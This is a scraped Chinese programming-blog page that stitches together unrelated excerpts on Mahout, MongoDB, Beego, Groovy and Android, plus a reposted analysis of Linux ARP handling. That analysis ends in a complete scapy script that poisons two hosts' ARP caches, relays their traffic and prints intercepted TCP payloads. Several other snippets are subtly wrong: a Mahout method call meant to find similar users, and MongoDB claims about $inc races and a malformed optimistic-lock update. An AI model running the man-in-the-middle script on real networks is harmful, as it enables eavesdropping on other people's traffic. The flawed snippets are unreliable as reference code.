...例代码帮助大家理解和实践。 二、理解用户相似度 在推荐系统中,用户相似度是用来衡量两个用户在兴趣偏好上有多接近的一种量化方式。想象一下这个场景,假如你发现你的朋友A跟你的“口味”超级合拍,无论是电影还是音乐,你们都喜欢同一挂的。这时候,你心里可能会暗戳戳地觉得,哇塞,我和A简直就是“灵魂伙伴”,相似度爆棚!于是乎,你可能就会自然而然地猜想,那些我还没来得及尝试、但非常喜欢的东西,A说不定也超感兴趣呢!这就是用户相似度在推荐系统中的应用逻辑。 三、Mahout中的用户相似度计算 1. 数据准备 在Mahout中,用户-物品交互数据通常表示为一个稀疏向量,每一维度代表一个物品,值则表示用户对此物品的喜爱程度(如评分)。首先,我们需要将原始数据转换为此格式: java // 假设有一个用户ID为123的用户对物品的评分数据 DataModel model = new FileDataModel(new File("ratings.dat")); // 这里的ratings.dat文件应包含每行格式如:'userId itemId rating' 2. 用户相似度计算 Mahout提供多种用户相似度计算方法,例如皮尔逊相关系数(PearsonCorrelationSimilarity)和余弦相似度(CosineSimilarity)。以下是一个使用皮尔逊相关系数计算用户相似度的例子: java // 创建Pearson相似度计算器 UserSimilarity similarity = new PearsonCorrelationSimilarity(model); // 使用GenericUserBasedRecommender类进行相似度计算 UserNeighborhood neighborhood = new NearestNUserNeighborhood(10, similarity, model); Recommender recommender = new GenericUserBasedRecommender(model, neighborhood, similarity); // 计算用户123与其他用户的相似度 List similarUsers = recommender.mostSimilarItems(123, 10); 这段代码首先创建了一个Pearson相关系数相似度计算器,然后定义了邻域模型(这里选择最近的10个用户),最后通过mostSimilarItems方法找到与用户123最相似的其他用户。 3. 深入思考 值得注意的是,选择何种相似度计算方法很大程度上取决于具体的应用场景和数据特性。比如,假如评分数据分布得比较均匀,那皮尔逊相关系数就是个挺不错的选择。但如果评分数据少得可怜,这时候余弦相似度可能就更显神通了。因为它压根不在乎具体的评分数值大小,只关心相对的偏好方向,所以在这种极端稀疏的情况下,效果可能会更好。 四、总结与探讨 Mahout为我们搭建推荐系统的用户相似度计算提供了有力支持。不过,在实际操作的时候,咱们得灵活应变,根据实际情况对参数进行微调,优化那个算法。有时候,为了更上一层楼的推荐效果,咱可能还需要把用户的社交关系、时间因素等其他信息一并考虑进去,让推荐结果更加精准、接地气儿。在我们一路摸索的过程中,可别光依赖冷冰冰的算法分析,更得把咱们用户的感受和体验揣摩透彻,这样才能够实实在在打造出符合每个人个性化需求的推荐系统,让大家用起来觉得贴心又满意。 总的来说,利用Mahout实现用户相似度计算并不复杂,关键在于理解不同相似度计算方法背后的数学原理以及它们在实际业务中的适用性。实践中,我们要善于运用这些工具,同时保持开放思维,不断迭代和优化我们的推荐策略。
2023-02-13 08:05:07
87
百转千回
Mongo
...现的情况是: javascript // 用户A尝试充值10元 db.users.updateOne( { _id: 'user1' }, { $inc: { balance: 10 } } ); // 同一时刻,用户B尝试充值20元 db.users.updateOne( { _id: 'user1' }, { $inc: { balance: 20 } } ); 如果这两个操作恰好在数据库层面交错执行,理论上用户的余额应增加30元,但实际上可能只增加了20元或10元,这就产生了数据不一致性。 3. MongoDB的并发控制机制 乐观锁与悲观锁 乐观锁(Optimistic Locking): MongoDB并没有内置的乐观锁机制,但我们可以利用文档版本戳(_v字段)模拟实现。每次更新前先读取文档的版本,更新时设置$currentDate以确保版本已更新,如果版本不符则更新失败。 javascript var user = db.users.find({ _id: 'user1' }).next(); var currentVersion = user._v; db.users.updateOne( { _id: 'user1', _v: currentVersion }, [ { $inc: { balance: 10 } }, { $currentDate: { _v: true } } ], { upsert: false, multi: false } ); 悲观锁(Pessimistic Locking): MongoDB提供了findAndModify命令(现已被findOneAndUpdate替代),它可以原子性地查找并更新文档,相当于对文档进行了锁定,防止并发写入冲突。 javascript db.users.findOneAndUpdate( { _id: 'user1' }, { $inc: { balance: 10 } }, { upsert: false, returnOriginal: false } ); 4. 集群环境下的并发控制 WiredTiger存储引擎 在MongoDB集群环境下,WiredTiger存储引擎实现了行级锁,对于并发写入有着很好的支持。每当你进行写操作的时候,系统都会把它安排到特定的小区域——我们叫它“数据段”。想象一下,这些数据段就像一个个小隔间,同一隔间里的写操作会排好队,一个接一个地有序进行,而不是一拥而上。这样一来,就不用担心几个写操作同时进行会让数据变得乱七八糟、不一致了,就像大家排队领饭,就不会出现你夹的菜跑到我碗里,我夹的肉又飞到他碗里的混乱情况啦。 5. 总结与思考 处理MongoDB中的并发写入问题,需要根据具体的应用场景选择合适的并发控制策略。无论是利用版本戳模拟乐观锁,还是借助于findAndModify实现悲观锁,抑或是依赖于WiredTiger存储引擎的行级锁,我们的目标始终是为了保证数据的一致性和完整性,提升用户体验。 对于开发者而言,理解并掌握这些策略并非一日之功,而是要在实践中不断摸索和优化。你知道吗,就像做一顿色香味俱全的大餐那样,构建一个稳定靠谱的分布式系统也得讲究门道。首先得精挑细选“食材”,也就是各种组件和技术;然后,就跟掌握火候一样,得精准地调控系统的各个环节。只有这样,才能确保每位“尝鲜者”都能吃得心满意足,开开心心地离开。
2023-06-24 13:49:52
71
人生如戏
Beego
...有遵循版本控制的最佳实践 最后,我们来看看版本控制的问题。在Beego项目中,我们通常会使用Git来进行版本控制。不过,要是团队里的小伙伴不按套路出牌,比如压根不用分支管理,或者是提交信息简单得让人摸不着头脑,那后续的代码管理和维护可就头大了。举个例子: bash 不正确的提交信息 $ git commit -m "修改了一些东西" 这样的提交信息没有任何具体的内容,对于后续的代码审查和维护都是不利的。正确的做法应该是提供更详细的提交信息,比如: bash $ git commit -m "修复了用户列表接口的bug,增加了错误处理逻辑" 4. 如何改进? 既然我们已经了解了不遵守代码提交规则可能带来的问题,那么接下来我们该如何改进呢? 4.1 制定并遵守统一的编码规范 首先,我们需要制定一套统一的编码规范,并确保所有团队成员都严格遵守。比如说,我们可以定个规矩,所有的字符串都得用双引号包起来,变量的名字呢,就用驼峰那种一高一低的方式起名。这不仅可以提高代码的可读性,还能减少不必要的错误。 4.2 添加必要的注释 其次,我们应该养成良好的注释习惯。在编写代码的同时,应该为重要的逻辑和接口添加详细的注释。这样,即使后续维护人员不是原作者,也能快速理解代码的意图。例如: go // 获取用户列表 // @router /api/users [get] func (this UserController) GetUserList() { users := []User{} // 假设User是定义好的结构体 this.Data["json"] = users this.ServeJSON() } 4.3 遵循版本控制的最佳实践 最后,我们还需要遵循版本控制的最佳实践。比如说,当你用分支管理功能时,提交的信息可得越详细越好,这样以后自己或别人看代码时才会更容易,审查和维护起来也更轻松。例如: bash 正确的提交信息 $ git commit -m "修复了用户列表接口的bug,增加了错误处理逻辑" 5. 结语 总之,代码提交规则的严格遵守对于Beego项目的成功至关重要。虽然开始时可能会觉得有点麻烦,但习惯了之后,你会发现这能大大提升团队的工作效率和代码质量。希望各位开发者能够认真对待这个问题,共同维护一个高质量的代码库。
2024-12-26 15:33:14
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红尘漫步
Mongo
...godb库) javascript const MongoClient = require('mongodb').MongoClient; // 异步连接MongoDB MongoClient.connect('mongodb://localhost:27017/mydatabase', { useNewUrlParser: true, useUnifiedTopology: true }, (err, client) => { if (err) { console.error('Error connecting to MongoDB:', err); return; } console.log('Connected successfully to MongoDB'); // 使用client对象进行数据库操作... const db = client.db(); // ... // 在完成所有数据库操作后,记得关闭连接 client.close(); }); 上述代码展示了如何异步地连接到MongoDB数据库。这里,MongoClient.connect()方法接受一个连接字符串、配置选项以及一个回调函数。当连接成功建立或发生错误时,回调函数会被调用。这正是异步编程的体现,主线程不会被阻塞,直到连接操作完成才执行后续逻辑。 3. 向MongoDB数据库异步写入数据 同样,向MongoDB插入或更新数据也是异步执行的。下面是一个向集合中插入文档的例子: javascript db.collection('mycollection').insertOne({ name: 'John Doe', age: 30 }, (err, result) => { if (err) { console.error('Error inserting document:', err); return; } console.log('Document inserted successfully:', result.insertedId); // 插入操作完成后,可以在这里执行其他逻辑 }); // 注意:这里的db是上一步异步连接成功后获取的数据库实例 这段代码展示了如何异步地向MongoDB的一个集合插入一个文档。你知道吗,这个insertOne()方法就像是个贴心的小帮手,它会接收一个文档对象作为“礼物”,然后再加上一个神奇的回调函数。当你把这个“礼物”放进去,或者在插入过程中不小心出了点小差错的时候,这个神奇的回调函数就会立马跳出来开始干活儿啦! 4. 思考与探讨 在实际开发过程中,异步操作无疑提升了我们的应用性能和用户体验。然而,这也带来了回调地狱、复杂的流程控制等问题。还好啦,现代的JavaScript可真是够意思的,它引入了Promise、async/await这些超级实用的工具,让咱们在处理异步编程时简直如虎添翼。这样一来,我们在和MongoDB打交道的时候,就能写出更加顺溜、更好懂、更好维护的代码,那感觉别提多棒了! 总结来说,MongoDB在连接数据库和写入数据时采取异步机制,这种设计让我们能够在高并发环境下更好地优化资源利用,提升系统效率。同时,作为开发者大兄弟,咱们得深入理解并灵活玩转异步编程这门艺术,才能应对各种意想不到的挑战,把MongoDB那牛哄哄的功能发挥到极致。
2024-03-10 10:44:19
167
林中小径_
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...我们可以查看ARP的初始函数arp_init,其会创建arp_tbl neighbour_table 包含 neighbour 邻居子系统的状态转换 其状态信息是存放在neighbour结构的nud_state字段的 可以分析neigh_update与neigh_timer_handler函数,来理解他们之间的转换关系。 NUD_NONE: 表示刚刚调用neigh_alloc创建neighbour NUD_IMCOMPLETE 发送一个请求,但是还未收到响应。如果经过一段时间后,还是没有收到响应,则查看发送请求数是否超过上限,如果超过则转到NUD_FAILED,否则继续发送请求。如果接受到响应则转到NUD_REACHABLE NUD_REACHABLE: 表示目标可达。如果经过一段时间,未有到达目标的数据包,则转为NUD_STALE状态 NUD_STALE 在此状态,如果有用户准备发送数据,则切换到NUD_DELAY状态 NUD_DELAY 该状态会启动一个定时器,然后接受可到达确认,如果定时器过期之前,收到可到达确认,则将状态切换到NUD_REACHABLE,否则转换到NUD_PROBE状态。 NUD_PROBE 类似NUD_IMCOMPLETE状态 NUD_FAILED 不可达状态,准备删除该neighbour 各种状态之间的切换,也可以通过scapy构造数据包发送并通过Linux 下的 ip neigh show 命令查看 ARP接收处理函数分析 ARP的接收处理函数为arp_process(位于net/ipv4/arp.c)中 我们分情况讨论arp_process的处理函数并结合scapy发包来分析处理过程 当为ARP请求数据包,且能找到到目的地址的路由 如果不是发送到本机的ARP请求数据包,则看是否需要进行代理ARP处理 如果是发送到本机的ARP请求数据包,则分neighbour的状态进行讨论,但是通过分析发现,不论当前neighbour是处于何种状态(NUD_FAILD、NUD_NONE除外),则都会将状态切换成 NUD_STALE状态,且mac地址不相同时,则会切换到本次发送方的mac地址 当为ARP请求数据包,不能找到到目的地址的路由 不做任何处理 当为ARP响应数据包 如果没有对应的neighbour,则不做任何处理。如果该neighbour存在,则将状态切换为NUD_REACHABLE,MAC地址更换为本次发送方的地址 中间人攻击原理 通过以上分析,可以向受害主机A发送ARP请求数据包,其中请求包中将源IP地址,设置成为受害主机B的IP地址,这样,就会将主机A中的B的 MAC缓存,切换为我们的MAC地址。 同理,向B中发送ARP请求包,其中源IP地址为A的地址 然后,我们进行ARP数据包与IP数据包的中转,从而达到中间人攻击。 使用Python scapy包,实现中间人攻击: 环境 python3 ubuntu 14.04 VMware 虚拟专用网络 代码 !/usr/bin/python3from scapy.all import import threadingimport timeclient_ip = "192.168.222.186"client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) replysendp(pkt)if packet.op == 2: replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join() client_ip 为发送数据的IP server_ip 为接收数据的IP 参考质料 Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制 https://blog.csdn.net/lickylin/article/details/22228047 转载于:https://www.cnblogs.com/r1ng0/p/9861525.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-05-03 13:04:20
560
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Groovy
...改了也不会影响原来的变量。但要是你传的是对象,那就不一样了,传的是引用,相当于给了个“地址”,所以如果你在方法里对这个对象做了修改,外面的那个对象也会跟着变。简单来说,基本类型自己玩自己的,对象嘛,大家资源共享! 2.1 按值传递的例子 groovy def addNumbers(a, b) { a = a + 10 b = b + 20 return a + b } def x = 5 def y = 10 def result = addNumbers(x, y) println "Result: $result" // 输出: Result: 35 println "x: $x, y: $y" // 输出: x: 5, y: 10 在这个例子中,x和y的原始值并没有被改变,因为它们是基本数据类型,传递到方法中时是按值传递的。方法内部对它们的修改不会影响外部的变量。 2.2 按引用传递的例子 groovy class Person { String name } def modifyPerson(person) { person.name = "Alice" } def p = new Person(name: "Bob") modifyPerson(p) println "Name: ${p.name}" // 输出: Name: Alice 这里我们看到,Person对象是按引用传递的。当我们在modifyPerson方法中修改person对象的属性时,这个修改会影响到外部的p对象。 --- 3. 可变参数 处理不确定数量的输入 有时候,你可能不知道你的方法需要接收多少个参数。Groovy允许你定义可变参数的方法,这非常方便。 3.1 使用可变参数 groovy def sum(numbers) { def total = 0 numbers.each { num -> total += num } return total } println sum(1, 2, 3, 4) // 输出: 10 println sum(5, 10, 15) // 输出: 30 在这个例子中,numbers是一个数组,它可以接收任意数量的参数。通过遍历这个数组,我们可以轻松地计算出所有参数的总和。 --- 4. 默认参数值 简化调用 Groovy还支持为方法参数设置默认值。这使得方法调用更加灵活,尤其是当你不想每次都传入所有的参数时。 4.1 使用默认参数值 groovy def greet(name, greeting = "Hello") { println "$greeting, $name!" } greet("Alice") // 输出: Hello, Alice! greet("Bob", "Hi") // 输出: Hi, Bob! 在这个例子中,第二个参数greeting有一个默认值"Hello"。如果调用方没有提供这个参数,方法就会使用默认值。这不仅减少了代码量,也提高了灵活性。 --- 5. 总结与个人感悟 通过今天的讨论,我们了解了Groovy中方法参数传递的几种主要方式:按值传递、按引用传递、可变参数以及默认参数值。其实啊,每种方法都有自己的拿手好戏,就像不同的工具适合干不同的活儿一样。要是咱们能搞明白这些,就能写出既顺溜又聪明的代码啦! 说实话,当我第一次接触到Groovy的这些特性时,我感到非常兴奋。它让我意识到编程不仅仅是遵循规则,更是一种艺术。通过合理运用这些技巧,我们可以让代码变得更加简洁、优雅。 如果你还在纠结如何选择合适的参数传递方式,不妨多尝试几个例子,看看哪种方式最适合你的项目需求。记住,编程是一个不断学习和实践的过程,每一次尝试都是一次成长的机会!
2025-03-15 15:57:01
101
林中小径
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...前对象,可以用来引用变量或是方法,一看就很懵B,所以这里通过例子来详细讲下this的用法。 2.例如下面代码 button.setOnClickListener(new OnClickListener() {@Overridepublic void onClick(View v) {Toast.makeText(TextC.this,"什么情况",1000).show();} 通俗讲,this就是指本类,但在上面Toast中直接写this会出错,因为当前本类是OnClickListener类,而不是我们的主类,如activity(或是mainActivity等),而this就是指向当前类OnClickListener。 3.再如:MainActivity中setOnClickListener(this)中的this指代什么? setOnClickListener的参数要求是一个实现了OnClickListener接口的对象实体,它可以是任何类的实例,只要该类实现了OnClickListener。这个问题中,this它就是MainActivity这个对象自己且用this实现了OnClickListener。 4.MainActivity.this是什么意思? 表示的就是MainActivity这个类对象本来,这种写法一般用在内部类里,因为在外部类中直接可以用关键字this表示本类,而内部类中直接写this的话表示的是内部类本身,想表示外部类的话就得加上外部类的类名.this。 5.在android中this使用的小结: this代表本类的一个引用,this.表示调用本类的某个方法,这个时候通常可以省略this;但在内部类中不能省略,否则编译器会认为是内部类的引用,所以要在this前加上类名. .this 表示本类的引用,通常前面的是用本类的名字表示,当然也可以省略,但是如果是在内部类中一定要加上类名,同时注意:this和static不能共存,就是在static修饰的方法中不能用this. 6.android context是什么 ?从SDK中可以知道 Interface to global information about an application environment. This is an abstract class whose implementation is provided by the Android system. It allows access to application-specific resources and classes, as well as up-cal for application-level operations such as launching activities, broadcasting and receiving intents, etc 从上的描述可以知道context和一下三点作用: 它描述的是一个应用程序的环境,即上下文 它类是一个抽象的类,android提供了一个具体的通用实现类contextIml类。 它就像是一个大管家,是一个访问全局信息的接口。通过它我们可以获取应用程度 的资源的类,包括一些应用级的操作,如启动一个activity,发送广播,接受Intent信息。 7.context家族的关系 8.android context源码简析 8.1Context.java:抽象类,提供了一组通用的API public abstract class Context { ... public abstract Object getSystemService(String name); //获得系统级服务 public abstract void startActivity(Intent intent); //通过一个Intent启动Activity public abstract ComponentName startService(Intent service); //启动Service //根据文件名得到SharedPreferences对象 public abstract SharedPreferences getSharedPreferences(String name,int mode); ... } 8.2 Contextlml.java:Context和实现类,但函数的大部分功能都是直接调用其属性的mPackageInfo去完成 / Common implementation of Context API, which provides the base context object for Activity and other application components. / class ContextImpl extends Context{ //所有Application程序公用一个mPackageInfo对象 /package/ ActivityThread.PackageInfo mPackageInfo; @Override public Object getSystemService(String name){ ... else if (ACTIVITY_SERVICE.equals(name)) { return getActivityManager(); } else if (INPUT_METHOD_SERVICE.equals(name)) { return InputMethodManager.getInstance(this); } } @Override public void startActivity(Intent intent) { ... //开始启动一个Activity mMainThread.getInstrumentation().execStartActivity( getOuterContext(), mMainThread.getApplicationThread(), null, null, intent, -1); } } 8.3 ContextWrapper.java:该类只是对Context类的一种包装,该类的构造函数包含了一个真正的Context引用,即ContextIml对象。 public class ContextWrapper extends Context { Context mBase; //该属性指向一个ContextIml实例,一般在创建Application、Service、Activity时赋值 //创建Application、Service、Activity,会调用该方法给mBase属性赋值 protected void attachBaseContext(Context base) { if (mBase != null) { throw new IllegalStateException("Base context already set"); } mBase = base; } @Override public void startActivity(Intent intent) { mBase.startActivity(intent); //调用mBase实例方法 } } 8.4ContextThemeWrapper.java:该类内部包含了主题(Theme)相关的接口,即android:theme属性指定的。只有Activity需要主题,Service不需要主题,所以Service直接继承于ContextWrapper类。 public class ContextThemeWrapper extends ContextWrapper { //该属性指向一个ContextIml实例,一般在创建Application、Service、Activity时赋值 private Context mBase; //mBase赋值方式同样有一下两种 public ContextThemeWrapper(Context base, int themeres) { super(base); mBase = base; mThemeResource = themeres; } @Override protected void attachBaseContext(Context newBase) { super.attachBaseContext(newBase); mBase = newBase; } } 9.Activity类 、Service类 、Application类本质上都是Context子类,所以应用程序App共有的Context数目公式为: 总Context实例个数 = Service个数 + Activity个数 + 1(Application对应的Context实例) 10.AR/VR研究的朋友可以加入下面的群或是关注下面的微信公众号 本篇文章为转载内容。原文链接:https://blog.csdn.net/yywan1314520/article/details/51953172。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-27 17:37:26
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随机学习一条linux命令:
ln -s source destination
- 创建软链接(符号链接)。
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时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"